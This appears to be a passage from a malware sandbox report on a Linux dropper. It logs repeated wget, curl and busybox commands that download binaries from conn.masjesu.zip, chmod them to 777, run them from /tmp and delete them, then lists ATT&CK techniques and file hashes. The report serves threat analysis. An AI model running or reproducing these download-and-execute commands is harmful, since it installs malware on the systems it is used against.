  wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - System Network Configuration Discovery
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - System Network Configuration Discovery
  PID:993
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:997
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - System Network Configuration Discovery
  PID:998
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:999
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:1001
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:1002
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Executes dropped EXE
  PID:1003
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:1005
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1007
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:1012
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1014
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:1017
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:1018
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:1020
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1022
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:1024
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:1025
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:1026
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm

Path /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK

Path /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512